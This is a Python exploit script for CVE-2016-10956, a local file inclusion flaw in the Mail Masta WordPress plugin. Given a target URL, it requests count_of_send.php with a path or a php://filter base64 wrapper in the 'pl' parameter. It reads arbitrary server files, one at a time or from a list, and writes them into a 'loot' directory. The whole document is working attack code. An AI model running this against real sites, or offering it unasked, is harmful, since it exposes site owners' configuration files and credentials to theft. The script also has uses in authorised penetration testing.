#!/usr/bin/env python3 # -*- coding: utf-8 -*- # File name : CVE-2016-10956_mail_masta.py # Author : Podalirius (@podalirius_) # Date created : 29 Oct 2021 import argparse import requests import base64 import os from rich.progress import track print("[+] Mail Masta - Local File Read (CVE-2016-10956)\n") def parseArgs(): parser = argparse.ArgumentParser(description="Description message") parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose mode") parser.add_argument("-s", "--only-success", dest="only_success", action="store_true", default=False, help="Only print successful read file attempts.") parser.add_argument("-t", "--target", dest="target_url", action="store", type=str, required=True, help="URL of the wordpress to connect to.") files_source = parser.add_mutually_exclusive_group() files_source.add_argument("-f", "--file", dest="file", action="store", type=str, help="Remote file to read.") files_source.add_argument("-F", "--filelist", dest="filelist", action="store", type=str, help="File containing a list of paths to files to read remotely.") parser.add_argument("-D", "--dump-dir", dest="dump_dir", action="store", type=str, default="./loot/", required=False, help="Directory where the dumped files will be stored.") parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)") parser.add_argument("-r", "--raw", dest="raw", action="store_true", default=False, help="Raw dump of the file without php base64 wrapper (default: False)") return parser.parse_args() def dump_file(url, basepath, filepath, only_success=False, rawdump=False): def b_filesize(file): l = len(file) units = ['B', 'kB', 'MB', 'GB', 'TB', 'PB'] k = 0 for k in range(len(units)): if l < (1024 ** (k + 1)): break return "%4.2f %s" % (round(l / (1024 ** (k)), 2), units[k]) # if rawdump == True: link = "%s/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=%s" % (url, filepath) else: link = "%s/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://filter/read=convert.base64-encode/resource=%s" % (url, filepath) r = requests.get(link) if len(r.content) != 0: if rawdump == True: file = r.content else: file = base64.b64decode(r.content) print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(file), filepath)) dir = basepath + os.path.dirname(filepath) if not os.path.exists(dir): os.makedirs(dir, exist_ok=True) f = open(basepath + filepath, "wb") f.write(file) f.close() return True else: if only_success != True: print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", filepath)) return False if __name__ == '__main__': options = parseArgs() if not options.target_url.startswith('http://') and not options.target_url.startswith('https://'): options.target_url = 'http://' + options.target_url if options.insecure_tls: # Disable warings of insecure connection for invalid cerificates requests.packages.urllib3.disable_warnings() # Allow use of deprecated and weak cipher methods requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' try: requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' except AttributeError: pass if options.filelist: if os.path.exists(options.filelist): f = open(options.filelist, 'r') list_of_files = [l.strip() for l in f.readlines() if len(l.strip()) != 0] f.close() for file in track(list_of_files): dump_file(options.target_url, options.dump_dir, file, only_success=options.only_success, rawdump=options.raw) else: print('\x1b[91m[!] Cannot read file %s\x1b[0m' % options.filelist) elif options.file: dump_file(options.target_url, options.dump_dir, options.file, only_success=options.only_success, rawdump=options.raw)